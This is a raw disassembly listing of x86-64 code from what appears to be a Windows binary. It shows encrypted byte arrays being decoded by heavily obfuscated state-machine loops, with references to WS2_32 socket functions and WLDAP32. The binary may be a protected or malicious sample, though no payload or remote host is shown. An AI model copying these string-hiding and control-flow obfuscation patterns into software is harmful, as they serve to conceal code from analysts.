jmp 0x1400b9102
lea rax, [r11 + 2]
cmp r10, rax
jne 0x1400b943a
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x56
jmp 0x1400b9675
lea rax, [r11 + 9]
cmp r10, rax
jne 0x1400b92cc
lea ecx, [rdi + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x5e
movzx eax, byte [rbp + rdi + 0x438]
add rax, r11
add rdi, rax
inc rdi
jmp 0x1400b9102
lea rax, [r11 + 1]
cmp r10, rax
jne 0x1400b94ab
lea edx, [rdi + 0x18]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
movzx eax, byte [rbp + rdi + 0x438]
add rax, r11
add rdi, rax
inc rdi
jmp 0x1400b9102
lea rax, [r11 + 3]
cmp r10, rax
jne 0x1400b94d3
lea edx, [rdi - 0x30]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
jmp 0x1400b9675
lea rax, [r11 + 2]
cmp r10, rax
jne 0x1400b94e9
lea edx, [rdi + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400b9638
lea rax, [r11 + 9]
cmp r10, rax
jne 0x1400b92fe
movzx r8d, dil
lea edx, [r8 - 8]
mov ecx, Ordinal_30
jmp 0x1400b95ef
mov byte [rbp + rdi + 0x438], r14b
inc rdi
jmp 0x1400b9102
lea ecx, [rdi - 0x50]
movzx eax, r9b
and al, cl
movzx edx, r9b
sub dl, al
add dl, 0x18
add dl, dl
add dl, cl
movzx r8d, dl
lea ecx, [rdi - 0x22]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x12
add r9b, cl
add r9b, dl
mov byte [rbp + rdi + 0x438], r9b
add r10, r11
mov rax, 0xffffffffffffffff
sub rax, r8
movzx r14d, r8b
add rdi, rax
inc rdi
jmp 0x1400b9102
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [rcx - 0x54]
jmp 0x1400b9675
lea ecx, [rdi + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0xe
movzx eax, byte [rbp + rdi + 0x438]
add rax, r11
add rdi, rax
inc rdi
jmp 0x1400b9102
lea ecx, [rdi + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 6
jmp 0x1400b9675
lea edx, [rdi - 0x26]
mov ecx, 5
jmp 0x1400b9638
movzx r8d, dil
lea edx, [r8 + 0x22]
mov ecx, 9
jmp 0x1400b95ef
movzx r8d, dil
lea edx, [r8 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, r9b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
sub r8b, 0x7e
movzx eax, r9b
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, r8b
mov byte [rbp + rdi + 0x438], cl
inc r11
dec rdi
inc rdi
jmp 0x1400b9102
lea edx, [rdi - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r9b
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
dec rdi
inc rdi
jmp 0x1400b9102
movabs rcx, 0xf9d3a1c5bd14a342
add rcx, rdi
and dl, cl
mov eax, Ordinal_27
sub al, dl
lea r14d, [rax + rax]
add r14b, r9b
add r14b, cl
lea edx, [rdi + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x438], al
inc r11
add rax, r11
sub rdi, rax
lea edx, [rdi + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + rdi + 0x438], cl
inc r10
sub rdi, r10
dec rdi
movzx eax, byte [rbp + rdi + 0x438]
add rax, r11
add rdi, rax
inc rdi
jmp 0x1400b9102
add rcx, rdi
and dl, cl
mov eax, Ordinal_33
sub al, dl
lea r14d, [rax + rax]
add r14b, r9b
add r14b, cl
movzx eax, byte [rbp + rdi + 0x438]
add rax, r11
add rdi, rax
inc rdi
jmp 0x1400b9102
sub dil, 0x76
movzx eax, dil
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dil
add r14b, r9b
jmp 0x1400b90e3
lea rdx, [rbp + 0x1568b20]
jmp 0x1400b9742
lea rdx, [rbp + 0xd0594e]
jmp 0x1400b9742
lea rdx, [rbp + 0x438]
mov rcx, qword [0x140220758]
call fcn.14010c1e0
test al, al
jne 0x1400baeff
mov byte [rbp + 0x470], 0x9d
mov byte [rbp + 0x471], 0xf7
mov byte [rbp + 0x472], Ordinal_143
mov byte [rbp + 0x473], Ordinal_143
mov byte [rbp + 0x474], 0xf6
mov byte [rbp + 0x475], Ordinal_143
mov byte [rbp + 0x476], 0x40
mov byte [rbp + 0x477], 0xf3
mov byte [rbp + 0x478], 0xff
mov byte [rbp + 0x479], Ordinal_79
mov byte [rbp + 0x47a], 0x86
mov byte [rbp + 0x47b], 0xfc
mov byte [rbp + 0x47c], 0xf8
mov byte [rbp + 0x47d], 0x85
mov byte [rbp + 0x47e], 0x48
mov byte [rbp + 0x47f], 0x87
mov byte [rbp + 0x480], 0x88
mov byte [rbp + 0x481], 0x84
mov byte [rbp + 0x482], 0xf9
mov byte [rbp + 0x483], 0xf8
mov byte [rbp + 0x484], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x485], Ordinal_143
mov byte [rbp + 0x486], 0x3f
mov byte [rbp + 0x487], 0x3f
mov byte [rbp + 0x488], gethostname
mov byte [rbp + 0x489], 0xe4
mov byte [rbp + 0x48a], 0xf3
mov byte [rbp + 0x48b], Ordinal_143
mov byte [rbp + 0x48c], 0x86
mov byte [rbp + 0x48d], Ordinal_143
mov byte [rbp + 0x48e], Ordinal_143
mov byte [rbp + 0x48f], 0xee
mov byte [rbp + 0x490], Ordinal_41
mov byte [rbp + 0x491], Ordinal_217
mov byte [rbp + 0x492], Ordinal_41
mov byte [rbp + 0x493], 0x9e
mov byte [rbp + 0x494], 0xe9
mov byte [rbp + 0x495], 0xec
mov byte [rbp + 0x496], __WSAFDIsSet
mov byte [rbp + 0x497], 0x9d
mov byte [rbp + 0x498], 0xe2
mov byte [rbp + 0x499], 0x90
mov byte [rbp + 0x49a], 0xdb
mov byte [rbp + 0x49b], 0x3d
mov byte [rbp + 0x49c], 0xa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x49d], xmm0
mov dword [rbp + 0x4ad], eax
mov word [rbp + 0x4b1], ax
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0x43
jae 0x1400ba407
movzx r10d, byte [rbp + rdi + 0x470]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400ba3fe
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400b9909
lea rcx, [rdi + r15]
movzx eax, dl
and al, cl
add al, al
movzx ebx, dl
sub bl, al
sub bl, 0x57
add bl, cl
jmp 0x1400b9950
je 0x1400ba394
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ba307
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400ba2d8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400ba29b
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400ba27c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400ba237
cmp r9, rdi
ja 0x1400ba3f5
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x1400b9977
lea ebx, [rdi + 5]
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x23
add bl, r10b
jmp 0x1400b99c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ba21c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ba1fd
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ba1e4
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400ba1cb
cmp r8, rcx
je 0x1400ba1a1
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b9ef2
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b9ed4
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400b9eb2
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b9e8f
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b9e71
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b9e58
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400b9e3b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b9e22
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b9e09
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b9ddb
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b99d0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x20]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400ba3d9
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400ba3bd
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b9bb4
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b9b9c
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b9b84
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b9d94
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400b9d4f
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b9d0f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b9ceb
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400b99d0
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400b9cbd
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b9ca2
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400b9c87
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b9c6a
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400b9c50
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b9c31
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400b9c0f
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b9beb
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b9bcc
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b99d0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x42]
jmp 0x1400b99d0
lea ebx, [rdi - 0x65]
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x3d
add bl, r10b
jmp 0x1400b99c0
lea ebx, [rdi + 0x39]
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x71
add bl, r10b
jmp 0x1400b9950
lea ebx, [rdi - 0x29]
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x1f
add bl, r10b
jmp 0x1400b98d5
lea ecx, [rdi + 0x28]
movzx eax, r10b
and al, cl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x18
add bl, cl
movzx r11d, dil
jmp 0x1400ba250
lea ecx, [rdi - 0x3a]
movzx eax, r10b
and al, cl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6a
add bl, cl
inc r9
dec rdi
inc rdi
jmp 0x1400b98c2
lea ecx, [rdi + 0x64]
movzx eax, r10b
and al, cl
mov ebx, Ordinal_35
sub bl, al
add bl, bl
add bl, r10b
add bl, cl
dec rdi
inc rdi
jmp 0x1400b98c2
lea edx, [rdi + 2]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0xe
add bl, dl
movzx r11d, dil
jmp 0x1400ba2b4
lea ecx, [rdi - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x60
jmp 0x1400ba2ec
lea edx, [rdi + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ba2ef
lea edx, [rdi - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x1400ba327
lea edx, [rdi + 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x56
add bl, dl
jmp 0x1400ba350
lea edx, [rdi + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + rdi + 0x470]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b98c2
lea ecx, [rdi + 0x23]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0xb
mov byte [rbp + rdi + 0x470], bl
inc rdi
jmp 0x1400b98c2
lea edx, [rdi - 0x3f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x47
add bl, dl
cmp r9, 0x61
jb 0x1400b9d00
movzx r11d, dil
lea edx, [r11 - 0x7a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x54]
jmp 0x1400ba250
lea edx, [rdi + 0x5f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x67
add bl, dl
cmp r8, 8
jae 0x1400ba165
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400ba0ad
lea edx, [rdi - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400b9d23
lea ecx, [rdi - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x15
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400ba18c
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400b9fef
lea ecx, [rdi - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x45
jmp 0x1400b9d65
lea edx, [rdi + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + rdi + 0x470]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b98c2
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x24
jmp 0x1400ba350
lea ecx, [rdi + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x76
jmp 0x1400ba327
lea edx, [rdi - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400ba2ef
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1a
jmp 0x1400ba2ec
movzx r11d, dil
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6c
jmp 0x1400ba2b4
lea edx, [rdi - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec rdi
inc rdi
jmp 0x1400b98c2
lea ecx, [rdi + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1400b98c2
movzx r11d, dil
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x62
jmp 0x1400ba250
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400b9f14
lea ecx, [rdi + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x57
jmp 0x1400b9da8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b9f47
lea ecx, [rdi + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x46
movzx eax, byte [rbp + rdi + 0x470]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b98c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b9f6d
lea edx, [rdi - 0x32]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400ba327
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b9f98
movzx r11d, dil
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400ba2b4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b9fc0
lea ecx, [rdi + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5a
dec rdi
inc rdi
jmp 0x1400b98c2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b9da8
movzx r11d, dil
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400ba250
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400ba016
movzx r11d, dil
lea ecx, [r11 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x69
jmp 0x1400ba250
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ba03e
lea ecx, [rdi - 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x3b
dec rdi
inc rdi
jmp 0x1400b98c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ba061
lea ecx, [rdi - 0x69]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x21
jmp 0x1400ba2ec
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400ba085
lea edx, [rdi + 0x5b]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x7d
add bl, dl
jmp 0x1400ba327
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b9d65
lea edx, [rdi - 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2b
add bl, dl
jmp 0x1400ba350
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ba0e4
lea edx, [rdi + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + rdi + 0x470]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b98c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ba10a
lea edx, [rdi - 0x28]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ba327
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400ba136
lea edx, [rdi + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec rdi
inc rdi
jmp 0x1400b98c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b9d25
movzx r11d, dil
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400ba250
movzx r11d, dil
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, byte [rbp + rdi + 0x470]
sub bl, al
sub bl, 0x58
add bl, r10b
add bl, dl
jmp 0x1400ba2b4
lea ecx, [rdi + 0x4a]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 6]
jmp 0x1400ba327
lea ecx, [rdi + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x41
movzx eax, byte [rbp + rdi + 0x470]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b98c2
lea ecx, [rdi - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x1b
jmp 0x1400ba327
lea ecx, [rdi + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x37
jmp 0x1400ba2ef
lea ecx, [rdi + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x2d
dec rdi
inc rdi
jmp 0x1400b98c2
movzx r11d, dil
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x2f
jmp 0x1400ba250
movzx r11d, dil
lea ecx, [r11 - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x75
sub r11b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
dec r10b
add r10b, r11b
mov byte [rbp + rdi + 0x470], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400b98c2
lea ecx, [rdi - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x19
dec rdi
inc rdi
jmp 0x1400b98c2
movzx r11d, dil
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6b
add r11b, 0x19
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x51
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x470], r10b
jmp 0x1400ba2ec
lea ecx, [rdi + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x43
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b98c2
movabs rcx, 0x33a0e2b918aeb257
add rcx, rdi
movzx r10d, dl
and dl, cl
add dl, dl
movzx ebx, r10b
sub bl, dl
sub bl, 0x61
add bl, cl
lea edx, [rdi + 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x5d
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x470], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x470], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x470]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b98c2
lea rcx, [rdi + r13]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 5
movzx eax, byte [rbp + rdi + 0x470]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b98c2
add dil, 0x75
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea ebx, [rdi + r10]
sub bl, 0x33
jmp 0x1400b98c0
add dil, 0x13
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea ebx, [rdi + r10]
add bl, 0x7b
jmp 0x1400b98b0
lea rdx, [rbp + 0x156d95c]
jmp 0x1400ba40e
lea rdx, [rbp + 0x154608d]
jmp 0x1400ba40e
lea rdx, [rbp + 0x470]
mov rcx, qword [0x140220750]
call fcn.140064200
mov byte [rbp + 0x100], 0xde
mov byte [rbp + 0x101], 0x68
mov byte [rbp + 0x102], __WSAFDIsSet
mov byte [rbp + 0x103], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x104], xmm0
mov qword [rbp + 0x114], rax
mov dword [rbp + 0x11c], eax
mov byte [rbp + 0x120], al
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor r11d, r11d
cmp r11, 0x21
jae 0x1400baed6
movzx r10d, byte [rbp + r11 + 0x100]
mov rdx, r10
nop dword [rax]
cmp r8, r11
ja 0x1400baece
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400ba4bc
lea rcx, [r11 + r12]
movzx eax, dl
and al, cl
add al, al
movzx esi, dl
sub sil, al
sub sil, 0x7b
add sil, cl
jmp 0x1400ba4f0
je 0x1400bae58
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400badc3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bad8d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bad6c
nop dword [rax]
cmp r9, r11
ja 0x1400baec6
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400ba51e
lea esi, [r11 + 0x71]
movzx eax, sil
and al, r10b
add al, al
sub sil, al
sub sil, 0x17
add sil, r10b
jmp 0x1400ba580
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400bad2a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bad09
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bacc6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400baca8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bac8d
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bac72
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bac57
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400ba992
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400ba96f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400ba947
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400ba922
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ba8ff
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400ba8dd
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400ba8be
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400ba89f
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400ba880
mov r8, rax
lea r9, [rax + 0x20]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400baea9
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bae8c
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400ba70c
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400ba6f0
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400ba6d4
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400ba838
lea rcx, [r9 + 2]
cmp r8, rcx
jb 0x1400ba7fb
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400ba7d5
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400ba590
mov r8, rcx
lea r9, [rcx + 0x7a]
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400ba7a8
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400ba789
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400ba76a
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400ba74b
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400ba728
lea r8, [r9 + 0x40]
lea r9, [r8 + 9]
jmp 0x1400ba590
lea esi, [r11 - 0x51]
movzx eax, sil
and al, r10b
add al, al
sub sil, al
add sil, 0x37
add sil, r10b
jmp 0x1400ba580
lea esi, [r11 - 0x2b]
movzx eax, sil
and al, r10b
add al, al
sub sil, al
add sil, 0x2d
add sil, r10b
jmp 0x1400ba4f0
lea esi, [r11 - 5]
movzx eax, sil
and al, r10b
add al, al
sub sil, al
add sil, 0x23
add sil, r10b
jmp 0x1400ba486
lea ecx, [r11 + 0x20]
movzx eax, cl
and al, r10b
mov esi, reloc.WS2_32.dll_recv
sub sil, al
add sil, sil
add sil, cl
add sil, r10b
add r8, r9
jmp 0x1400badaa
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1400badaa
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1400bade6
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r10b
jmp 0x1400bae11
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
